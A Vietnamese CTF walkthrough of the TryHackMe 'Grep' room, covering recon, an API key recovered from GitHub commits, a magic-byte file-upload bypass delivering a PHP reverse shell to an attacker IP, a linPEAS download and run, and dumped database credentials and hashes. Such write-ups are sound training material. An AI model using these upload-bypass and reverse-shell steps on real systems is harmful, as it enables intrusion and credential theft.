Tryhackme - Grep
Reconnaissance and Scanning
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d6af37230fdfe14d17e3b89eaa6af4ba (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrtm91fsPghgy6hHw1Y6us1n3WWXbx78a01ZR0xxfkgflDuBbvQeAuqhIoZ5MsB5YpPGCKDFTZ33KZeTCb89SVEidBoatBWJf3+Ys/iTaXJYrEZUNMwiJ8prll8u2MfAEB/3Up5jx4Qbt7BW5criwtzA+/LkvmOb2FKWQzM3l2Mg0QtkvtRbcw0H+MTvz2hRxTYqU//MdyxVh1nnvdPYdhtA7IQ8Lqg8Au0XGjeA58iktw/K3Ljn7wIePzixJclotHLJ5Jxdq6delmHKdOieoHT4MAK5tHA+AZRpZvLYiTWergXvNzHWqdTTssVsDQ8BeCDLs5RvvP36eDngaYZ1pxJ5GxZSlMEc5clmDOa0sb64nJq41MJCNDrpeuJrjcVe3g401mnZFSPUWqNIjLGH3VSWohbbAsi2YCrr+s3VldoNNWxIVrLXnhZg7HKVsQw2IJy8ufXTTLbC0cQHGuwNnbvmkSVS5nk0zdInPS6a4E22dd7hsJdksKEAEnq6LrgwM=
| 256 ea9b6eed77b35d2840c55d6dcc8a7e50 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKvPK6dn5A4GKUH0jYCw+leyMjc03SxV7TMFLz84QZSk6ueoqk1P++5Ly9rx8fCICzM5iT5oV6TmU4Rtr5Gw7Lo=
| 256 9cd769de85f6a430e5f56f16640614e0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG83nf9a5u2ZjV1opLrYvrMSvJGQKbR+mVrAp9ZDdlOn
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.4.41
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=grep.thm/organizationName=SearchME/stateOrProvinceName=Some-State/countryName=US
| Issuer: commonName=grep.thm/organizationName=SearchME/stateOrProvinceName=Some-State/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-14T13:03:09
| Not valid after: 2024-06-13T13:03:09
| MD5: 72958ef07c16221c3b0a40ee913c766c
| SHA-1: 38c23ba334b1851af1d4ee0a37bd701a830c7dd8
| -----BEGIN CERTIFICATE-----
| MIIDFzCCAf8CFGTWwbbVKaNSN8fhUdtf0QT84zCSMA0GCSqGSIb3DQEBCwUAMEgx
| CzAJBgNVBAYTAlVTMRMwEQYDVQQIDApTb21lLVN0YXRlMREwDwYDVQQKDAhTZWFy
| Y2hNRTERMA8GA1UEAwwIZ3JlcC50aG0wHhcNMjMwNjE0MTMwMzA5WhcNMjQwNjEz
| MTMwMzA5WjBIMQswCQYDVQQGEwJVUzETMBEGA1UECAwKU29tZS1TdGF0ZTERMA8G
| A1UECgwIU2VhcmNoTUUxETAPBgNVBAMMCGdyZXAudGhtMIIBIjANBgkqhkiG9w0B
| AQEFAAOCAQ8AMIIBCgKCAQEAtiDNwwY9IR2HADMy6CRAwiPH0s8dIOFGPrbYCbLz
| fDKIWURlczzOlmgpscN/YHHpt6P5ywUPLGnMK3ukYag7xTUYl+vmledTnD9oebnJ
| 6qDweFFwdZ8hysITyvCyGgqcY52JE2nBtVNj6/L16iZ60KKko8opNsTE5IYj/sUt
| PsOxeNiV3oqpOUeKtZJbn7Kssd4KBwnRqTSUlXlPXzeRipAiW5SZZXo6K4YeLVht
| XlLPtPWsMC0fj16DDDtxLlZmvu3J5o9egp/eRpWmvKWIaKQ57Y0MKB8/gso8FxxX
| NiRY9Nru0C3DCUbc/xXywQ9pIGt/Xir++aXhyxCiIGh22QIDAQABMA0GCSqGSIb3
| DQEBCwUAA4IBAQCzhJu52dIY7V/qQleDMEQ1oBLrQoFhHD6+UbvH0ELMAtL5Dc8A
| LGDdyFkgsx04TaZtJ20dyrjYD+tcAgu9Yb7eEYbfqqD5w4XSzvdEuTW2aVL86aT6
| IBbN8SMkX2zfILjHTOR1F7WAoHaIssH0yZltg+lQEEnAeb+XoIZm9cIW2bTNKoO2
| MeHgvSKkQkjROO29XQQ3mTbxFG86UsTwyGHdddnkfiWilXqgfh+wGxbY/wCdhU0C
| TnuXn4IEVdCBn16rCg51kEZZC1EWPcJpv0/InUNfcgumcVY033EXF/HgW4eNDD6H
| XmLEGKfScUWcO0//STDZGZXwf9gt30DqoMSf
|_-----END CERTIFICATE-----
|_http-server-header: Apache/2.4.41 (Ubuntu)
| tls-alpn:
|_ http/1.1
|_http-title: 403 Forbidden
51337/tcp open http syn-ack ttl 63 Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-title: 400 Bad Request
Service Info: Host: ip-10-10-133-64.eu-west-1.compute.internal; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Tôi để ý thấy có grep.thm, vậy nên tôi sẽ thử thêm domain vào file hosts
┌──(root㉿kali)-[/home/kali]
└─# nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.114.67 grep.thm *.grep.thm
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Truy cập vào https://grep.thm, tôi được 1 site login
Ở đây có 1 site login và 1 site register. Tôi đã thử vài cách đơn giản để thử bypass qua nhưng không login được, với site register thì tôi cần phải có API key mới có thể đăng ký được tài khoản
Sau một lúc tìm kiếm xung quanh mà không thấy có gì khả quan về API, tôi nghĩ đến việc thử tìm thông tin về SearchMe, có thể là tên của một theme hoặc cms nào đó.
Trên github tôi tìm thấy source supersecuredeveloper/searchmecms: In progress… mới được tạo 4 tháng trước, khá trùng với thời điểm máy này được tạo trên Tryhackme, nó cũng có phần api như tôi đang tìm kiếm
Có 4 commits, và sau khi kiểm tra các commit này tôi tìm thấy api key
Sử dụng api key để đăng ký tài khoản
Đăng nhập với tài khoản vừa tạo tôi được flag đầu tiên
RCE
Tiếp tục với source code tìm được trên github, tôi còn một phần nữa là upload.php. Tìm nó trên web
Tập trung vào đoạn này trong source
$allowedExtensions = ['jpg', 'jpeg', 'png', 'bmp'];
$validMagicBytes = [
'jpg' => 'ffd8ffe0',
'png' => '89504e47',
'bmp' => '424d'
];
Chỉ có các đuôi file phía trên mới được phép upload, và đầu file cũng phải giống với các chuỗi được quy định.
Đầu tiên tôi sẽ đổi tên file thành đuôi png và dùng hexeditor để đổi các giá trị đầu của file
┌──(root㉿kali)-[/home/kali]
└─# mv phpshell.php phpshell.png.php
┌──(root㉿kali)-[/home/kali]
└─# hexeditor phpshell.png.php
File: phpshell.php.png ASCII Offset: 0x00000004 / 0x00000A18 (%00) M
00000000 89 50 4E 47 70 0A 2F 2F 20 70 68 70 2D 72 65 76
Tải file lên
{"message":"File uploaded successfully."}
Tuy nhiên tôi gặp lỗi khi mở file the image cannot be displayed because it contains errors. Sau một lúc tìm hiểu thì tôi nhận ra mình cần phải thay đổi các file shell nữa.
Shell của tôi sau khi đổi đuôi và các giá trị đầu
�PNGp
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.9.102.40';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
Nó đã mất định dạng php. Tôi cần thêm vài ký tự đầu trước <?php
nếu không muốn mất định dạng thật của file
....<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.9.102.40';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
Sau khi thay đổi các giá trị đầu của file nó sẽ trở thành như sau
�PNG<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubuserc>
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.9.102.40';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
Upload lại và tạo listener port 9001
Vào https://grep.thm/api/uploads/ để mở file vừa upload
┌──(root㉿kali)-[/home/kali]
└─# nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.9.102.40] from (UNKNOWN) [10.10.221.7] 60196
Linux ip-10-10-221-7 5.15.0-1038-aws #43~20.04.1-Ubuntu SMP Fri Jun 2 17:10:57 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
03:10:28 up 55 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$
Để đỡ mất thời gian thì tôi sẽ tải linPEAS lên máy này để nó phân tích
www-data@ip-10-10-221-7:/$ cd /tmp
www-data@ip-10-10-221-7:/tmp$ wget http://10.9.102.40:8888/linpeas.sh
--2023-09-05 03:21:42-- http://10.9.102.40:8888/linpeas.sh
Connecting to 10.9.102.40:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 848400 (829K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[===================>] 828.52K 502KB/s in 1.7s
2023-09-05 03:21:44 (502 KB/s) - ‘linpeas.sh’ saved [848400/848400]
www-data@ip-10-10-221-7:/tmp$ chmod +x linpeas.sh
www-data@ip-10-10-221-7:/tmp$ ./linpeas.sh
Đầu tiên, tôi có một subdomain mới là leakchecker.grep.thm với port 51337
<VirtualHost *:51337>
ServerAdmin webmaster@leakchecker.grep.thm
ServerName leakchecker.grep.thm
DocumentRoot /var/www/leakchecker
<IfModule mpm_itk_module>
AssignUserId ubuntu ubuntu
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
SSLEngine on
SSLCertificateFile /var/www/leak_certificate.crt
SSLCertificateKeyFile /var/www/private_unencrypted.key
</VirtualHost>
Tiếp theo, tôi có một file config db của php
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root www-data 524 Nov 11 2021 /etc/phpmyadmin/config-db.php
Cuối cùng, tôi có một thư mục backup trong web
╔══════════╣ Web files?(output limit)
/var/www/:
total 48K
drwxr-xr-x 6 ubuntu www-data 4.0K Jun 14 12:57 .
drwxr-xr-x 14 root root 4.0K Nov 10 2021 ..
drwxr-xr-x 2 ubuntu www-data 4.0K Jun 14 11:25 backup
-rw-r--r-- 1 root root 1.2K Jun 14 13:03 certificate.crt
-rw-r--r-- 1 root root 960 Jun 2 14:47 certificate.csr
drwxr-xr-x 2 ubuntu www-data 4.0K Jun 14 11:44 default_html
drwxr-xr-x 4 ubuntu www-data 4.0K Jun 7 12:14 html
-rw-r--r-- 1 root root 1.2K Jun 14 12:58 leak_certificate.crt
Thêm subdomain vào file hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.114.67 grep.thm leakchecker.grep.thm
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Site yêu cầu email, tuy nhiên nhập thử mail tôi vừa đăng ở tài khoản phía trên thì không được.
Tiếp theo là file config db
www-data@ip-10-10-221-7:/tmp$ cat /etc/phpmyadmin/config-db.php
<?php
##
## database access settings in php format
## automatically generated from /etc/dbconfig-common/phpmyadmin.conf
## by /usr/sbin/dbconfig-generate-include
##
## by default this file is managed via ucf, so you shouldn't have to
## worry about manual changes being silently discarded. *however*,
## you'll probably also want to edit the configuration file mentioned
## above too.
##
$dbuser='phpmyadmin';
$dbpass='tryhackme';
$basepath='';
$dbname='phpmyadmin';
$dbserver='localhost';
$dbport='3306';
$dbtype='mysql';
Thư mục backup
www-data@ip-10-10-221-7:/tmp$ ls -la /var/www/backup/
total 12
drwxr-xr-x 2 ubuntu www-data 4096 Jun 14 11:25 .
drwxr-xr-x 6 ubuntu www-data 4096 Jun 14 12:57 ..
-rw-rw-r-- 1 ubuntu ubuntu 1888 Jun 14 11:25 users.sql
www-data@ip-10-10-221-7:/tmp$ cat /var/www/backup/users.sql
-- phpMyAdmin SQL Dump
-- version 5.2.1
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Generation Time: May 30, 2023 at 01:25 PM
-- Server version: 10.4.28-MariaDB
-- PHP Version: 8.0.28
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- Database: `postman`
--
-- --------------------------------------------------------
--
-- Table structure for table `users`
--
CREATE TABLE `users` (
`id` int(11) NOT NULL,
`username` varchar(50) NOT NULL,
`password` varchar(255) NOT NULL,
`email` varchar(100) NOT NULL,
`name` varchar(100) DEFAULT NULL,
`role` varchar(20) DEFAULT 'user'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;
--
-- Dumping data for table `users`
--
INSERT INTO `users` (`id`, `username`, `password`, `email`, `name`, `role`) VALUES
(1, 'test', '$2y$10$dE6VAdZJCN4repNAFdsO2ePDr3StRdOhUJ1O/41XVQg91qBEBQU3G', 'test@grep.thm', 'Test User', 'user'),
(2, 'admin', '$2y$10$3V62f66VxzdTzqXF4WHJI.Mpgcaj3WxwYsh7YDPyv1xIPss4qCT9C', 'admin@searchme2023cms.grep.thm', 'Admin User', 'admin');
--
-- Indexes for dumped tables
--
--
-- Indexes for table `users`
--
ALTER TABLE `users`
ADD PRIMARY KEY (`id`),
ADD UNIQUE KEY `username` (`username`),
ADD UNIQUE KEY `email` (`email`);
--
-- AUTO_INCREMENT for dumped tables
--
--
-- AUTO_INCREMENT for table `users`
--
ALTER TABLE `users`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;
COMMIT;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
www-data@ip-10-10-221-7:/tmp$
Email của user admin là admin@searchme2023cms.grep.thm và password admin. Thử nhập email này vào leakchecker